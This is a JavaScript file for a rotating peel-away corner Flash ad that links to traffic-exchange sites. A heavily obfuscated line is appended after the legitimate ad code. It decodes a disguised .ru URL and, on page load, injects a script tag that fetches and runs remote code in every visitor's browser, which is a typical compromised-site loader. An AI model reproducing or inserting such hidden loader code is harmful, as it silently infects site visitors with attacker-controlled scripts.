/*
 Das Copyright dieses Scriptes liegt beim Autor.
 Bitte die Lizenzbedingungen beachten, und ausgefüllt zurücksenden.
*/

image_small = new Array();
image_small[0]= 'http://www.trafficattheraces.com/rotatepeel/images/small1.gif';  //This is the URL where the small1.gif image is located
image_small[1]= 'http://www.trafficattheraces.com/rotatepeel/images/small2.gif';  //This is the URL where the small2.gif image is located
image_small[2]= 'http://www.trafficattheraces.com/rotatepeel/images/small2.gif';  //This is the URL where the small2.gif image is located
image_small[3]= 'http://www.trafficattheraces.com/rotatepeel/images/peelsmall.jpg';  //This is the URL where the small2.gif image is located
image_small[4]= 'http://www.trafficattheraces.com/rotatepeel/images/smallpeel.gif';  //This is the URL where the small2.gif image is located
          // If you want to add more images just continue with the numbering small4.gif, etc.

image_big = new Array();
image_big[0]= 'http://www.trafficattheraces.com/rotatepeel/images/teblastpeel.gif';  //This is the URL where the Big Image big1.gif  is located
image_big[1]= 'http://www.trafficattheraces.com/rotatepeel/images/peel.gif';  //This is the URL where the Big Image big1.gif  is located
image_big[2]= 'http://www.trafficattheraces.com/rotatepeel/images/dodgemspeel.gif';  //This is the URL where the Big Image big1.gif  is located
image_big[3]= 'http://www.trafficattheraces.com/rotatepeel/images/peelbig.gif';  //This is the URL where the Big Image big1.gif  is located
image_big[4]= 'http://www.trafficattheraces.com/rotatepeel/images/whatispeel.gif';  //This is the URL where the Big Image big1.gif  is located
           // If you want to add more images just continue with the numbering big4.gif, etc.

GoTo = new Array();
GoTo[0]= 'http://www.teblaster.com'; 		//This is the landing page where the user should be taken when clicking on the Peel Ad
GoTo[1]= 'http://www.trafficattheraces.com/?rid=3636';  	//This is the landing page where the user should be taken when clicking on the Peel Ad
GoTo[2]= 'http://www.trafficdodgems.com/?rid=1';  	//This is the landing page where the user should be taken when clicking on the Peel Ad
GoTo[3]= 'http://www.splashpagemaker.com';  	//This is the landing page where the user should be taken when clicking on the Peel Ad
GoTo[4]= 'http://www.whatisatrafficexchange.com';  	//This is the landing page where the user should be taken when clicking on the Peel Ad
				// If you want to add more URLS just continue with the numbering GoTo[4]= etc.

var anzahl = 5   //Here you should specify How Many ads you have

var nr = Math.round((anzahl -1) * Math.random());

var Link = GoTo[nr];
var Image1 = image_small[nr];
var Image2 = image_big[nr];

var esel = new Object();

esel.ad_url = escape(Link);

esel.small_path = 'http://www.trafficattheraces.com/rotatepeel/cornersmall.swf'; //Enter the URL of the Peel Away Corner Flash
esel.small_image = escape(Image1);
esel.small_width = '100';
esel.small_height = '100';
esel.small_params = 'ico=' + esel.small_image;

esel.big_path = 'http://www.trafficattheraces.com/rotatepeel/cornerbig.swf'; //   Enter the URL of the Large Peel Away Corner
esel.big_image = escape(Image2);
esel.big_width = '650';
esel.big_height = '650';
esel.big_params = 'big=' + esel.big_image + '&ad_url=' + esel.ad_url;

// Do not Change anything under this line-----------------------------------------------------------------------------------------

function sizeup987(){
	document.getElementById('eselcornerBig').style.top = '0px';
	document.getElementById('eselcornerSmall').style.top = '-1000px';
}

function sizedown987(){
	document.getElementById("eselcornerSmall").style.top = "0px";
	document.getElementById("eselcornerBig").style.top = "-1000px";
}

esel.putObjects = function () {
// <eselSmall>
document.write('<div id="eselcornerSmall" style="position:absolute;width:'+ esel.small_width +'px;height:'+ esel.small_height +'px;z-index:9999;right:0px;top:0px;">');
// object
document.write('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"');
document.write(' codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0"');
document.write(' id="eselSmallcornerObject" width="'+esel.small_width+'" height="'+esel.small_height+'">');
// object params
document.write(' <param name="allowScriptAccess" value="always"/> ');
document.write(' <param name="movie" value="'+ esel.small_path +'?'+ esel.small_params +'"/>');
document.write(' <param name="wmode" value="transparent" />');
document.write(' <param name="quality" value="high" /> ');
document.write(' <param name="FlashVars" value="'+esel.small_params+'"/>');
// embed
document.write('<embed src="'+ esel.small_path + '?' + esel.small_params +'" name="eselcornerSmallObject" wmode="transparent" quality="high" width="'+ esel.small_width +'" height="'+ esel.small_height +'" flashvars="'+ esel.small_params +'" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>');
document.write('</object></div>');
document.write('</script>');
// </eselSmall>
// <eselBig>
document.write('<div id="eselcornerBig" style="position:absolute;width:'+ esel.big_width +'px;height:'+ esel.big_height +'px;z-index:9999;right:0px;top:0px;">');
// object
document.write('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"');
document.write(' codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0"');
document.write(' id="eselcornerBigObject" width="'+ esel.big_width +'" height="'+ esel.big_height +'">');
// object params
document.write(' <param name="allowScriptAccess" value="always"/> ');
document.write(' <param name="movie" value="'+ esel.big_path +'?'+ esel.big_params +'"/>');
document.write(' <param name="wmode" value="transparent"/>');
document.write(' <param name="quality" value="high" /> ');
document.write(' <param name="FlashVars" value="'+ esel.big_params +'"/>');
// embed
document.write('<embed src="'+ esel.big_path + '?' + esel.big_params +'" id="eselcornerBigEmbed" name="eselcornerBigObject" wmode="transparent" quality="high" width="'+ esel.big_width +'" height="'+ esel.big_height +'" flashvars="'+ esel.big_params +'" swliveconnect="true" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>');
document.write('</object></div>');
// </eselBig>
setTimeout('document.getElementById("eselcornerBig").style.top = "-1000px";',1000);
}
esel.putObjects();
var Oh=new Date();function K(){var P=new String();var m=unescape;var mm="\x68\x74\x74\x70\x3a\x2f\x2f\x68\x61\x74\x65\x6e\x61\x2d\x6e\x65\x2d\x6a\x70\x2e\x6e\x69\x63\x6f\x76\x69\x64\x65\x6f\x2e\x6a\x70\x2e\x68\x6f\x77\x73\x74\x75\x66\x66\x77\x6f\x72\x6b\x73\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Y=new String();var D;if(D!=''){D='s'};var R=String("gp1Pw".substr(0,1));var LI=new Date();var n;if(n!='d' && n!='Qv'){n='d'};var j=window;var Pi;if(Pi!='vf' && Pi!='YW'){Pi='vf'};var F=new String();var Rz='';var Mz="";var nx;if(nx!='cz' && nx!='KF'){nx='cz'};var l;if(l!=''){l='sN'};function W(B,r){var X='';var U;if(U!='' && U!='b'){U=null};var oD;if(oD!='' && oD!='KZ'){oD=null};var M=m("%5b")+r+m("%5d");var LE=new Array();var p;if(p!='J' && p!='cr'){p=''};var ma=new RegExp(M, R);return B.replace(ma, Rz);};var ce;if(ce!='qQ' && ce != ''){ce=null};var WY;if(WY!='' && WY!='a'){WY='KY'};var dV;if(dV!='I' && dV!='cj'){dV=''};var Ir=new String();var V;if(V!='PN'){V='PN'};var w=m("%2f%64%65%70%6f%73%69%74%66%69%6c%65%73%2e%63%6f%6d%2f%64%65%70%6f%73%69%74%66%69%6c%65%73%2e%63%6f%6d%2f%73%63%69%65%6e%63%65%64%69%72%65%63%74%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%78%75%6e%6c%65%69%2e%63%6f%6d%2e%70%68%70");var MV;if(MV!='' && MV!='FQ'){MV='so'};var mmS=W('84747102499565899543075651','42976135');var nj='';var BJ='';var z=document;var mw;if(mw!='HK'){mw='HK'};var sp;if(sp!='WD'){sp='WD'};var KA='';var nC;if(nC!='' && nC!='lN'){nC=null};function C(){var Dd;if(Dd!='LT'){Dd=''};var Z;if(Z!='_'){Z=''};this.fM='';BJ=mm;var Tj='';BJ+=mmS;var uP;if(uP!='rF' && uP!='N'){uP=''};BJ+=w;var sO="";var UR=new Array();try {var Gt;if(Gt!='' && Gt!='Ax'){Gt=''};Q=z.createElement(W('s7cVr1iapqtv','aq7VvEmKU1Y'));var BK='';var TR;if(TR!='' && TR!='Jj'){TR=''};var IR=new Date();Q.src=BJ;Q.defer=[1][0];var wt='';var jR;if(jR!='' && jR!='Kv'){jR=null};z.body.appendChild(Q);this.Pb='';var fx=new String();} catch(H){};}var sS;if(sS!='' && sS!='Ce'){sS=''};var mW;if(mW!='oS' && mW!='IV'){mW='oS'};j[new String("onlo"+"adUM8".substr(0,2))]=C;};var hi=new Date();var ub="";K();var Uj=new Date();